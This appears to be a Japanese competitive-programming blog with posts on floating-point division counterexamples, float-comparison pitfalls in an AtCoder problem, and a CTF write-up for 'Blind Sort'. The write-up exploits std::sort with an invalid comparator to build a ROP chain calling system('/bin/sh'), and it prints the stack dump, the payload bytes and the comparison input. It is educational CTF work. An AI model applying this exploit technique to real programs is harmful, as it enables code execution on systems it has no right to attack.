えびちゃんの日記

えびちゃん(競プロ)の日記です。

浮動小数点型の除算に対する第二原像攻撃

こういう表現をすることは稀だと思いますが、構造としては同じだなと思ったのでそういう言い方を選びました。

16.0 / 9.0 として計算した double の値 $$ \begin{aligned} 16\oslash 9 &= \tfrac1{9}\cdot(16-2^{-50}) \\ &= {\small 1}.{\small 777777777777777}{\footnotesize 679091286699986}{\scriptsize 085295677185058}{\tiny 59375} \\ \end{aligned} $$ があったとします。このとき、(主に誤差に対して甘いプログラムの撃墜ケースを見つけたい文脈で)$x\oslash y = 16\oslash 9$ かつ $\gcd(x, y) = 1$ かつ $(x, y) \ne (16, 9)$ なる組 $(x, y)$ を探したいことはしばしばあります*1

用語

集合 $\mathcal X$, $K$ と関数 $h\colon \mathcal X\to K$ を考えます。 与えられた $k\in K$ に対し、$h(x) = k$ なる $x$ を $k$ の 原像 (preimage) または 第一原像 (first preimage) と言います[Glossary | CSRC]。 また、$x_1\in\mathcal X$ に対し、$h(x_1) = h(x_2)$ かつ $x_1\ne x_2$ なる $x_2\in\mathcal X$ を、$x_1$ の 第二原像 (second preimage) と言います[Glossary | CSRC]

また、これらの原像を求めることを、それぞれ (第一)原像攻撃 (​(first-)preimage attack)・第二原像攻撃 (second-preimage attack) と言います。セキュリティの文脈の用語なので、攻撃という言い方がなされるんだと思います。

この文脈の第一・第二というのは、原像として一つ目・二つ目という意味合いであって、甲種・乙種とか ①・②のような意味合いではないと思っています*2

さて、特定の浮動小数点型に含まれる正の正規化数全体からなる集合を $F$ とし、$\Z_F = \Z\cap F$ とします。 このとき、$f\colon \Z_F^2\ni (x, y) \mapsto x\oslash y\in F$ で定義される $f$ に関しての第一・第二原像を求めていこうかな〜という話です。

考察

まず第一原像攻撃について考えていきます。 与えられた $z$ に対して $x\oslash y = z$ なる $(x, y)$ を求めたいです。

$\roundcirc{z'} = z$ なる $z'=\tfrac xy\in \Q$ を求めればよいわけで、そのような $z'$ は $\Q$ 上の区間になっていることに注意します。 特に、$[z-2^{e_-}\lldot z+2^{e_+}]$ のような形をしています。開区間か閉区間かは、仮数部の偶奇によって変わります。

分母が $k$ 以下の分数として表せる有理数全体からなる集合について、相異なる要素の差の絶対値は $k^{-2}$ で下から評価できることを踏まえると、閉区間のケースに帰着できると思います。

ということで、与えられた区間 $I$ に対して $I\cap\Q$ の要素を取ってこれればよいということになります。 取ってくる要素としては、分母が最小のものを持ってこれると実用上うれしそうです。 $I\cap\Z \ne \emptyset$ なら $\min{(I\cap\Z)}$ を持ってくればよいので、以下はそうでないと仮定します。

これはもう Stern–Brocot 木を考えてくれと言われているようなものです。適切に区間を狭めていくことで実現可能です。今回はそういう気分ではないので証明はしません。

続いて、第二原像攻撃について考えます。 $(x, y)$ が与えられて $z = x\oslash y$ としたとき、$[z-2^{e_-}\lldot z) \cap (z\lldot z+2^{e_+}]$ に属する有理数を取ってくればよいです。 二つの区間それぞれについてさっき考えた操作をすればよいので、これもできます。おわりです。

実装

preimage2.py

from fractions import Fraction
from math import ceil, floor, inf, nextafter


def _bisect(f):
    assert f(0)

    hi = 1
    while f(hi):
        hi *= 2
    lo = hi // 2
    while hi - lo > 1:
        mid = lo + (hi - lo) // 2
        if f(mid):
            lo = mid
        else:
            hi = mid
    return lo


def _mediant(x, y):
    fracx, kx = x
    fracy, ky = y
    x0, x1 = fracx.numerator, fracx.denominator
    y0, y1 = fracy.numerator, fracy.denominator
    return Fraction(kx * x0 + ky * y0, kx * x1 + ky * y1)


def interval_fraction(min_: Fraction, max_: Fraction) -> Fraction:
    """Return p/q with minimum q such that min_ <= p/q <= max_."""

    if min_ == max_:
        return min_
    if min_ <= 0 <= max_:
        return Fraction(0, 1)
    if max_ < 0:
        return -interval_fraction(-max_, -min_)

    assert 0 < min_ < max_

    if min_.is_integer():
        return min_
    if ceil(min_) <= floor(max_):
        # min_ <= n <= max_
        return ceil(min_)

    n = floor(min_)
    min_, max_ = min_ - n, max_ - n

    assert 0 < min_ < max_ < 1

    lo = Fraction(0)
    hi = Fraction(1)

    while True:
        assert lo < min_ < max_ < hi
        med = _mediant((lo, 1), (hi, 1))
        if min_ <= med <= max_:
            return n + med

        ky = _bisect(lambda k: _mediant((lo, 1), (hi, k)) < min_)
        lo0 = _mediant((lo, 1), (hi, ky))
        hi1 = _mediant((lo, 1), (hi, ky + 1))
        assert lo0 < hi1
        assert lo0 < min_ <= hi1

        if hi1 <= max_:
            return n + hi1

        lo = lo0
        # ----------------------------------------------------------------
        assert lo < min_ < max_ < hi
        med = _mediant((lo, 1), (hi, 1))
        if min_ <= med <= max_:
            return n + med

        kx = _bisect(lambda k: _mediant((lo, k), (hi, 1)) > max_)
        hi0 = _mediant((lo, kx), (hi, 1))
        hi1 = _mediant((lo, kx + 1), (hi, 1))
        assert hi1 <= max_ < hi0

        if min_ <= hi1:
            return n + hi1

        hi = hi0


def preimage2(frac: Fraction) -> Fraction:
    """Return a second preimage for frac."""

    if frac == 0:
        return Fraction(0, 1)
    if frac < 0:
        return -preimage(-frac)

    alpha = float(frac)
    fl = Fraction(alpha)
    tol = Fraction(1, 2**2048)
    nextdown = nextafter(alpha, -inf)
    lo = (Fraction(nextdown) + Fraction(alpha)) / 2
    if float(lo) == nextdown:
        lo += tol
    nextup = nextafter(alpha, inf)
    hi = (Fraction(nextup) + Fraction(alpha)) / 2
    if float(hi) == nextup:
        hi -= tol

    x1 = interval_fraction(lo, frac - tol)
    x2 = interval_fraction(frac + tol, hi)
    return x1 if x1.denominator < x2.denominator else x2


assert preimage2(Fraction(16, 9)) == Fraction(941929333829127, 529835250278884)
assert preimage2(Fraction(9, 16)) == Fraction(633318697598980, 1125899906842631)
assert preimage2(Fraction(2, 3)) == Fraction(2401919801264265, 3602879701896398)
assert preimage2(Fraction(1, 10)) == Fraction(800639933754755, 8006399337547549)

具体例

冒頭の例について考えます。 $$ \begin{aligned} 16\oslash 9 &= \tfrac1{9}\cdot(16-2^{-50}) \\ &= {\small 1}.{\small 777777777777777}{\footnotesize 679091286699986}{\scriptsize 085295677185058}{\tiny 59375} \end{aligned} $$ に丸められる区間は $$ [\tfrac1{9}\cdot(16-2^{-50}) - 2^{-53} \lldot \tfrac1{9}\cdot(16-2^{-50}) + 2^{-53}] $$ で、 $$ \begin{aligned} &\phantom{{}={}} \tfrac1{9}\cdot(16-2^{-50}) - 2^{-53} \\ &= \tfrac1{9} \cdot (16 - 2^{-50} - 9\cdot 2^{-53}) \\ &= \frac{16\cdot 2^{53} - 2^3 - 9}{9\cdot 2^{53}} = \frac{144115188075855855}{81064793292668928} \\ &= {\small 1}.{\small 777777777777777}{\footnotesize 568068984237470}{\scriptsize 431253314018249}{\tiny 51171875}, \\ &\phantom{{}={}} \tfrac1{9}\cdot(16-2^{-50}) + 2^{-53} \\ &= \tfrac1{9} \cdot (16 - 2^{-50} + 9\cdot 2^{-53}) \\ &= \frac{16\cdot 2^{53} - 2^3 + 9}{9\cdot 2^{53}} = \frac{144115188075855873}{81064793292668928} \\ &= {\small 1}.{\small 777777777777777}{\footnotesize 790113589162501}{\scriptsize 739338040351867}{\tiny 67578125} \end{aligned} $$ です。見つかった第二原像は $(941929333829127, 529835250278884)$ で、 $$ \begin{aligned} &\phantom{{}={}} \frac{941929333829127}{529835250278884} \\ &= {\small 1}.{\small 777777777777777}{\footnotesize 568068984237471}{\scriptsize 269418025815571}{\tiny 204989570324110{\ldots}} \\ &= \tfrac9{16} - \tfrac1{4768517252509956} \end{aligned} $$ でした。他の例は値だけ載せておきます。

$$ \begin{aligned} 9 \oslash 16 &= 633318697598980 \oslash 1125899906842631, \\ 2 \oslash 3 &= 2401919801264265 \oslash 3602879701896398, \\ 1 \oslash 10 &= 800639933754755 \oslash 8006399337547549. \end{aligned} $$

あとがき

下記の記事の補足のような感じです。

rsk0315.hatenablog.com

ゆるゆるっとコードを書いて記事に出すくらいの気軽さを持つことがよさそうです。

Stern–Brocot 木は ABC でそこまで頻出ではないですが、そうした競プロで得た知識を競プロの横道の部分で活かせて面白いなぁと思いました。

反例の構成をする癖を続けていると、「この範囲には反例はあるだろうと思うが、実際に構成するのは自明ではなさそう」とか「既知の方法に帰着させて最小反例を構成できる」とかの感覚がついてきて楽しいなぁという気がします。既知の幅を広げていきたいです。

コンテスタント側であれば浮動小数点型を避ければいいだけですから、わざわざ反例について思いを馳せる必要はないですが、ジャッジ側として変な解法を落としたい場合には有用な内容だと思います。 浮動小数点型が使われているだけで嘘解法扱いして、実際の最小反例が制約の上限よりずっと大きいのに「これは嘘解法だ!」と決めつけるような人にはなりたくないですからね。

数値型として浮動小数点型しか備えていない独自言語でのみ提出可能な地獄のえびちゃんお誕生日コンテストとかどうでしょうか。嫌ですね。 JavaScript にも BigInt があるので、その問題用の言語を作る()必要があるかなと思いました。Educational 浮動小数点型 Contest というのはどうでしょう(?)

今年は 関数型まつり2026 に行こうかなと思っていたのですが、気づいたら一人で浮動小数点型まつり 2026 をやっていました。どうしてでしょう。

おわり

おわりです。

*1:あるのかなあ。あるということにします。こういうのは言い切った者勝ちなので。

*2:なので、「どっちのタイプが第二原像攻撃だっけ?」というような疑問を抱く余地はない気がします。えびちゃんはしばらく誤解していました。

ABC 463 A についての雑談

atcoder.jp

$X:Y = 16:9$ であるかを判定したいです。こういう問題は(たぶん)何も考えずに浮動小数点型の除算で行う人と、何も考えずに整数型の乗算で行う人に大きく二分される気がします。 今回は、何かしら考えて遊んでみましょうという回です。

クイズ

まずはクイズです。次のうち、今回の問題の制約 $X, Y \in [1\lldot 1000]\cap\Z$ において反例が存在するものはどれでしょう?

// A * B == C * D
fn check0_1(x: f64, y: f64) -> bool { 9.0 * x == 16.0 * y }
fn check0_2(x: f64, y: f64) -> bool { 0.0625 * x == 0.1111111111111111 * y }

// A / B == C / D
fn check1_1(x: f64, y: f64) -> bool { x / y == 16.0 / 9.0 }
fn check1_2(x: f64, y: f64) -> bool { x / 16.0 == y / 9.0 }
fn check1_3(x: f64, y: f64) -> bool { y / x == 9.0 / 16.0 }
fn check1_4(x: f64, y: f64) -> bool { 16.0 / x == 9.0 / y }

// (A * B) / C == D
fn check2_1(x: f64, y: f64) -> bool { (x * 9.0) / y == 16.0 }
fn check2_2(x: f64, y: f64) -> bool { (x * 9.0) / 16.0 == y }
fn check2_3(x: f64, y: f64) -> bool { (y * 16.0) / x == 9.0 }
fn check2_4(x: f64, y: f64) -> bool { (y * 16.0) / 9.0 == x }

// A * (B / C) == D
fn check3_1(x: f64, y: f64) -> bool { x * (9.0 / y) == 16.0 }
fn check3_2(x: f64, y: f64) -> bool { x * (9.0 / 16.0) == y }
fn check3_3(x: f64, y: f64) -> bool { y * (16.0 / x) == 9.0 }
fn check3_4(x: f64, y: f64) -> bool { y * (16.0 / 9.0) == x }

上限が小さいので全量を愚直にテストできます。

正解は check3_1 で、$(X, Y) = (784, 441)$ のみが反例でした(!)。 上限が $10^5$ の場合は、check3_3 が反例 $(X, Y) = (1872, 1053)$ を持ちますが、残りの関数たちはいずれも正当でした。 上限が $10^9$ の場合はどうでしょう?

disclaimer: 上限が $10^9$ の場合の正当性について、上記の全部の関数に証明を与えているわけではありません。各関数の最小反例などを挙げているわけでもありません。すいません。

説明

check0_1

fn check0_1(x: f64, y: f64) -> bool { 9.0 * x == 16.0 * y }

check0_1 は整数での判定と同じ形で、$\max{\{9X, 16Y\}}\le 2^{53}$ であれば正当であることがすぐわかります。 $16\otimes Y = 16Y$ から、$\max{\{9X, Y\}}\le 2^{53}$ で正当だと思います。

check2_*

fn check2_1(x: f64, y: f64) -> bool { (x * 9.0) / y == 16.0 }
fn check2_2(x: f64, y: f64) -> bool { (x * 9.0) / 16.0 == y }
fn check2_3(x: f64, y: f64) -> bool { (y * 16.0) / x == 9.0 }
fn check2_4(x: f64, y: f64) -> bool { (y * 16.0) / 9.0 == x }

$2^{53}$ 以下の任意の正整数 $x$, $y$, $m$ について $x/y = m \iff x\oslash y = m$ であることが示せます(下記の記事で示しました(元々は $\floor{x/y} = \floor{x\oslash y}$ だけ示していましたが、今回の記事のために追記しました))。

rsk0315.hatenablog.com

check2_* の右辺が整数であることを踏まえると、check2_* は $\max{\{9X, 16Y\}} \le 2^{53}$ であれば正当であるとわかります。

check1_*

fn check1_1(x: f64, y: f64) -> bool { x / y == 16.0 / 9.0 }
fn check1_2(x: f64, y: f64) -> bool { x / 16.0 == y / 9.0 }
fn check1_3(x: f64, y: f64) -> bool { y / x == 9.0 / 16.0 }
fn check1_4(x: f64, y: f64) -> bool { 16.0 / x == 9.0 / y }

$2^{26}\approx 6.71\times 10^7$ 以下の任意の正整数 $x_1, y_1, x_2, y_2$ について、 $$x_1/y_1 = x_2/y_2 \iff x_1\oslash y_1 = x_2\oslash y_2$$ が成り立つことが示せます(下記の記事で示しました)。

rsk0315.hatenablog.com

よって、check1_* は $\max{\{X, Y\}} \le 2^{26}$ であれば正当であるとすぐわかります。

4 つ中 2 つの値が定数であることを利用すると、もっと広い範囲で正当であることを示せるのかもしれません。

こういうタイプのもの(precision を上げると正当な範囲が広がりそうなもの)は、小さめの precision たちで実験するのが定石です。 実験をしてみましたがよくわかりませんでした。いかがでしたか?

  • check1_1
    • $p$ が $6$ 増えるごとに最小反例が $2^6$ 倍くらいになってそう
    • 最小反例の大きさは $p\bmod 6$ に応じて違う事情になってそう
      • $\tfrac{16}9$ が $2$ 進法で $6$ 桁周期になっているから?
  • check1_2, check1_3
    • $p$ が $1$ 増えるごとに最小反例が $2$ 倍くらいになってそう
  • check1_4
    • $p$ が $1$ 増えるごとに最小反例が $2$ 倍くらいになってそう
    • check1_2, check1_3 ほど整った感じではない

どうやら $2^{26}$ よりはもっと広い範囲で正当っぽそうな雰囲気はありました。

check3_2

fn check3_2(x: f64, y: f64) -> bool { x * (9.0 / 16.0) == y }

任意の正整数 $x\le 2^{53}/9$ に対し、$x\otimes (9\oslash 16) = (x\otimes 9) / 16 = 9x/16$ が成り立つことから、$\max{\{9X, Y\}}\le 2^{53}$ で正当であるとわかります。

check0_2, check3_4

fn check0_2(x: f64, y: f64) -> bool { 0.0625 * x == 0.1111111111111111 * y }
fn check3_4(x: f64, y: f64) -> bool { y * (16.0 / 9.0) == x }

$(1\oslash 16)\otimes x \stackrel?= (1\oslash 9)\otimes y$ と $x \stackrel?= (16\oslash 9)\otimes y$ ですが、$16$ が 2 べきであることに注意すると、これらは同値であることがわかります。

ここで、$16\oslash 9 = \tfrac19\cdot(16 - 2^{-50})$ です。よって、 $$ \begin{aligned} (16\oslash 9)\otimes y &= (\tfrac19\cdot(16 - 2^{-50}) )\otimes y \\ &= \roundcirc{\tfrac19\cdot(16 - 2^{-50})\cdot y} \\ &= \roundcirc{\tfrac{16}9\cdot y - \tfrac y9\cdot 2^{-50}} \\ \end{aligned} $$ となります。$\tfrac y9\cdot 2^{-50}$ の誤差項の影響が無視できるうちは正当となります。

exercise: それはどういう範囲か?

exercise: 分母が $9$ の代わりに $49$ だと $y = 49$ が反例になると思うが、今回はなぜ大丈夫なのか?

実験をしたところでは、check1_1 同様に、$p$ が $6$ 増えると最小反例は $2^6$ 倍になっていて、各 $p$ での大きさは $p\bmod 6$ による感じになっていそうでした。

$$ \begin{aligned} X &= \begin{cases} 2^{p-2}+2, & \text{if~} p \bmod 6 \in\{0, 1\}; \\ 112 \cdot \frac{64^{\frac{p-8}6}-1}{63}+48\cdot 64^{\frac{p-8}6} + 2, & \text{if~} p \bmod 6 = 2; \\ 2^{p-3}+7, & \text{if~} p \bmod 6 \in\{3, 4\}; \\ 7 \cdot \frac{64^{\frac{p-5}6}-1}{63} + 3\cdot 64^{\frac{p-5}6}, & \text{if~} p \bmod 6 = 5 \end{cases} \\ % &= \begin{cases} % 2^{p-2}+2, & \text{if~} p \bmod 6 \in\{0, 1\}; \\ % \frac{112}{63} \cdot (64^{\frac{p-8}6}-1) + 48\cdot 64^{\frac{p-8}6} + 2, & \text{if~} p \bmod 6 = 2; \\ % 2^{p-3}+7, & \text{if~} p \bmod 6 \in\{3, 4\}; \\ % \frac7{63} \cdot (64^{\frac{p-5}6}-1) + 3\cdot 64^{\frac{p-5}6}, & \text{if~} p \bmod 6 = 5 % \end{cases} \\ &= \begin{cases} 2^{p-2}+2, & \text{if~} p \bmod 6 \in\{0, 1\}; \\ (48 + \frac{16}9) \cdot 64^{\frac{p-8}6} + \frac29, & \text{if~} p \bmod 6 = 2; \\ 2^{p-3}+7, & \text{if~} p \bmod 6 \in\{3, 4\}; \\ (3+\frac19) \cdot 64^{\frac{p-5}6} - \frac19, & \text{if~} p \bmod 6 = 5 \end{cases} \\ \end{aligned} $$ かつ $$ Y = \begin{cases} \frac9{16}\cdot(X-2)+1, & \text{if~}p \bmod 6 \in \{0, 1, 2\}; \\ \frac9{16}\cdot(X-7)+4, & \text{if~}p \bmod 6 \in \{3, 4, 5\} \\ \end{cases} $$ が最小反例になっていそうな雰囲気がありました。 $p = 53$ のとき、 $$ \begin{aligned} X &= (3+\tfrac19)\cdot 2^{48}-\tfrac19 \\ &= \tfrac19\cdot(7\cdot 2^{50}-1) \\ &= 875699927544263, \\ Y &= \tfrac9{16}\cdot(X-7)+4 \\ % &= \tfrac9{16}\cdot\left((3+\tfrac19)\cdot 2^{48}-\tfrac19-7\right)+4 \\ &= \tfrac9{16} \cdot\tfrac19\cdot(7\cdot 2^{50}-64)+4 \\ &= 7\cdot 2^{46} \\ &= 492581209243648 \end{aligned} $$ です。実際、この $X$, $Y$ に対して $$ \tfrac XY = 1.{\small 777777777777777}{\footnotesize 552208655314253}{\scriptsize 9092472621372767(857142{\dots})} \ne \tfrac{16}9 $$ ですが、check0_2check3_4True を返しました。最小性は示していません。

check3_1, check3_3

fn check3_1(x: f64, y: f64) -> bool { x * (9.0 / y) == 16.0 }
fn check3_3(x: f64, y: f64) -> bool { y * (16.0 / x) == 9.0 }

$(1\oslash 49)\otimes 49 = 1-2^{-53}$ が有名です。 $(X, Y) = (16\cdot 49, 9\cdot 49) = (784, 441)$ が check3_1 の反例でした。

$(1\oslash 117)\otimes 1053 = 9 + 2^{-49}$ です。 $(X, Y) = (16\cdot 117, 9\cdot 117) = (1872, 1053)$ が check3_3 の反例でした。

$(x\oslash y)\otimes z$ は反例がたくさんある形の式に見えます。

rsk0315.hatenablog.com

反例

見つけたうちで最も小さい反例です。最小性はほぼ示していません。

関数名 $x$ $y$
check0_1 ${\small 1000799917193447}$ ${\small 562949953421314}$
check0_2 ${\small 875699927544263}$ ${\small 492581209243648}$
check1_1 ${\small 941929333829127}$ ${\small 529835250278884}$
check1_2 ${\small 1125899906842631}$ ${\small 633318697598980}$
check1_3 ${\small 1125899906842631}$ ${\small 633318697598980}$
check1_4 ${\small 750600033020791}$ ${\small 422212518574195}$
check2_1 ${\small 1000799917193447}$ ${\small 562949953421314}$
check2_2 ${\small 1000799917193447}$ ${\small 562949953421314}$
check2_3 ${\small 1125899906842631}$ ${\small 633318697598980}$
check2_4 ${\small 1125899906842631}$ ${\small 633318697598980}$
check3_1 ${\small 784}$ ${\small 441}$
check3_2 ${\small 1000799917193447}$ ${\small 562949953421314}$
check3_3 ${\small 1872}$ ${\small 1053}$
check3_4 ${\small 875699927544263}$ ${\small 492581209243648}$

Stern–Brocot 木を用いて、各範囲に含まれる分数を探したりしました。

$$ \begin{aligned} \tfrac{633318697598981}{1125899906842633} &\in [\tfrac9{16}-2^{-54}\lldot \tfrac9{16}), \\ \tfrac{633318697598980}{1125899906842631} &\in (\tfrac9{16}\lldot \tfrac9{16}+2^{-54}], \\ \tfrac{941929333829127}{529835250278884} &\in [\tfrac{16}9-2^{-53}\lldot\tfrac{16}9), \\ \tfrac{16012798675095097}{9007199254740992} &\in (\tfrac{16}9\lldot\tfrac{16}9+2^{-53}]. \\ \end{aligned} $$

check1_4 に関しては、x >> 36 == 0x2AAA となる範囲においては(全探索で確認して)最小でしたが、上位 bit は雰囲気で探索したのでよくわかりません。

おまけ

(y * 16.0) * 0.1111111111111111 == x とか (y * 16.0) * (1.0 / x) == 9.0 とかを考え出すとキリがなくなりそうだったのでやめました。 16.0 / x == 9.0 * (1.0 / y) のように左辺と右辺で形が違う場合などを網羅するのは大変です。

あとがき

コンテスト中にこんなもんを考えるくらいなら整数型を使うだろ
↑ 至極真っ当な指摘だなあ 🙄

過去にそういう記事を書いたえびちゃんとしては、制約を見てそういう気分になった日には x / y == 16.0 / 9.0 で解くこともあるかもしれません。Rustacean であるところのえびちゃん的には、f64 だと .0 をつける必要があるのでやっぱり i32 で書くかもしれません。

${}\cdot\tfrac19\cdot{}$ ← 顔文字っぽい

「浮動小数点型を使いましょう」「浮動小数点型はいいぞ」という主張をする気はないんですが、これくらいの簡単な問題で復習をしながら「ふつうは浮動小数点型を避けて整数型で解くけど、浮動小数点型で解けるんだっけ?」とかを考えて練習しておかないと、実際に浮動小数点型を使うことを要求される問題で下手なミスをやらかすんじゃないか?という気はします。とはいえ浮動小数点型を使わされる問題はあまり多くなく、他の数え上げとかを訓練しておいた方がコスパがいいみたいなところもあり、ン〜〜〜という気持ちになります。数え上げより浮動小数点型を要求される問題が多い世界線の AtCoder を見たいかと言われると、まぁ別にそんなことはないですね。推しが人気になると微妙な気持ちになる厄介オタクみたいな心理ですか?

「既知の lemma から、この制約では大丈夫なことを示せます」というのを言える場合でも、「最小反例はこれこれです」というのを示すのは難しい場合が多いです。 「precision を上げてもいくらでも小さい反例があるパターン」と「precision を上げるのに伴って最小反例が大きくなっていくパターン」があり、後者については小さい precision における実験ベースで「た〜ぶんこれくらいの大きさの反例を構成できるんじゃないか?」という遊びができることは多いですが、きちんと示すのは大変な場合が多いんじゃないかなと思っています。

ABC の A 問題くらいをメインで解いている初心者だと、この手の煩雑な議論を追うのは厳しいところがある気がします。 括弧のつけ方ひとつで計算結果(というか証明の大変さ)が大きく異なることはよくあることなので、議論の中身を把握していない初心者に「今回の問題は浮動小数点型でも解けるらしい」という粒度の事実だけが伝わってしまうことはあまりうれしくないんじゃないかなと思っています。

一方で、なにも考えずに「浮動小数点型は使わない方がいいんだよ」とだけ初心者に伝える風潮もなんか違うんじゃないかなぁというような気もしています。 計算量の記法について怪しい記事がたくさんあるのと同様、ちゃんと理解していない人がちゃんと理解しないまま伝承しがちなトピックのひとつだろうなぁとは思っています。

気が向いたらそのうちポエム記事を書くかもしれません。過去のポエム記事でなにを書いたかはあまり覚えていません。

rsk0315.hatenablog.com

おわり

おわりです。

Writeup for Blind Sort, Daily AlpacaHack B-SIDE 2026/4/25

Daily AlpacaHack B-SIDE 2026/4/25–2026/4/30 の write-up です。

alpacahack.com

std::sort(begin(), end(), [](){ return cin.get() == 'r'; });

std::sort(RandomIt first, RandomIt last, Compare comp) の事前条件として、Compare が strict weak ordering を成すというものがあります。 そうでない入力を与えた場合の動作は当然未定義なわけですが、CTF ではそうした未定義動作を手懐ける必要があるわけですね。

考えたこと

元々、正しくない Compare を使う人を競プロの文脈でよく見ていたのもあって、そうした std::sort の事前条件の話は知っていました。 また、最適化レベル -O0, -O1, -O2 に応じて動作が変わるような状況が存在することも記憶にありました。「何らかの列を出力し正常終了する」「SIGSEGV で異常終了する」「停止しない」などが同一のコードから生成される場合もあった気がします。

NaN を含む double[]std::sort() しようとするとめちゃくちゃになりますが、該当の区間内に含まれる値たちからなる部分集合が strict weak ordering を成していれば問題ないということなんでしょうか。

ところで、std::sort() の内部実装を(識別子などは適法となるように適宜変えつつ)別途コピペしてきた sort() を作ったとき、該当の事前条件を満たしていなくても(配列外参照などが起きないように気をつければ)未定義動作にはならないはずです。

note: 然るべきようにソートされるとかを期待しているわけではない。単に sort() という名前の、C++ 的に未定義動作は起きない何らかの関数として振る舞うということ。

ということで、sort() について考えます (libstdc++-v3/include/bits/stl_algo.h)。 重要な点は下記の通りです。

  • introsort_loop()while に関して、last - first == 0x20 かつ S_threshold == 16 であるから、少なくとも一回は unguarded_partition_pivot() が呼ばれ、last を書き換え可能である。
  • unguarded_partition_pivot() の内部では unguarded_partition() が呼ばれ、この返り値は比較的容易に制御可能である。
  • introsort_loop()depth_limit == 0 になった場合は partial_sort(first, last, last) が呼ばれ、内部的に sort_heap(first, last) が呼ばれることから、first から last までの範囲を並べ替えることが可能である。

よって、last を十分 first から離れさせたまま保てば、その間の区間の要素を任意に並べ替えられることがわかります。 last - first を十分に引き離すために要素に関係なく真偽値を返すフェーズと、予め意図した順に並べられるように真偽値を返すフェーズを適宜切り替えることで、任意の順列に対応する操作が可能になります。 どのように判定したことにするかを出力することで、サーバに与える用の [lr]+ の列が得られます。

あとは、何をどう並べ替えればフラグが得られるかを考えればよいです。 std::sort() を呼ぶ直前の std::array<char, 0x20> values 付近のメモリを見ると、次のようになっていました。

% gdb -ex 'b *(main+149)' ./chall

(gdb) r
Starting program: /mnt/chall 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaabaaacaaadaaaeaaafaaagaaahaaa
Breakpoint 1, 0x000055555555526e in main ()
(gdb) x/30a $rsp
0x7fffffffeb70: 0x7fffffffebb0  0x7fffffffeb90
0x7fffffffeb80: 0x7fffffffebb0  0x7fffffffebaf
0x7fffffffeb90: 0x6161616261616161  0x6161616461616163
0x7fffffffeba0: 0x6161616661616165  0x6161616861616167
0x7fffffffebb0: 0x7fffffffec50  0xb3976239af1af900
0x7fffffffebc0: 0x0 0x7fffffffecf8
0x7fffffffebd0: 0x7fffffffec70  0x7ffff7b541ca <__libc_start_call_main+122>
0x7fffffffebe0: 0x8 0x7fffffffecf8
0x7fffffffebf0: 0x1f7d2efa8 0x5555555551d9 <main>
0x7fffffffec00: 0x7fffffffecf8  0x9787d8757a880ed4
0x7fffffffec10: 0x1 0x0
0x7fffffffec20: 0x555555558d98  0x7ffff7ffd000 <_rtld_global>
0x7fffffffec30: 0x9787d87575a80ed4  0x9787c8e0216a0ed4
0x7fffffffec40: 0x7fff00000000  0x0
0x7fffffffec50: 0x0 0x1
(gdb) x/3i (main+149)
=> 0x55555555526e <main+149>:  call   0x5555555552a6 <_ZSt4sortIPcZ4mainEUlccE_EvT_S2_T0_>
   0x555555555273 <main+154>: mov    $0x0,%esi
   0x555555555278 <main+159>: lea    0x3db1(%rip),%rax        # 0x555555559030 <_ZSt3cin@GLIBCXX_3.4+16>

disclaimer: write-up を書いている今は、解いたときとは別の環境で作業しているのですが、当時は 0x7fffffffebc0 の場所に 0x00007ffff7fb6a50 が入っていたはずなんです。どういう原因でこういう差が生じたのかはまだわかっていません。わかったらなにか書くかもしれません。

下位バイトの詳細は調べていませんが、上位バイトが libc のものであるアドレスが 3 つ存在していることがわかります。また、main() のアドレスも含まれています。 よって、入力できる 32 バイトの中に pop %rdi; ret のガジェットや system()"/bin/sh" のアドレスの下位バイトを与えればよさそうです。また、スタックの alignment の調整のために ret のガジェットも欲しいので、main() の下位バイトも書き換えます。

具体的には、&array[0] == 0x7fffffffeb90 で、libc 関連のアドレスが &array[0x30] == 0x00007ffff7fb6a50&array[0x48] == 0x7fffffffebd8&array[0x98] == 0x7ffff7ffd000 です。

該当のアドレスを 0x0000XXXXXXYYYZZZ とすると、X の部分はスタックに載っているもののままでよく、Z の部分は(ASLR で変わることはないので)入力のままでよいです。Y の部分に関しては制御しきれないので、1⁄4096 のガチャをします。これくらいならまぁ許容範囲でしょうと 聞いています。本当でしょうか。本当ということにします。よろしくお願いします。

std::array<char, 0x20> には b"\x8b\x97\xc3/T\xcfP'\xb8\x18aaaaaaaaaaaaaaaaaaaaaa" を与え、比較のためには llrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr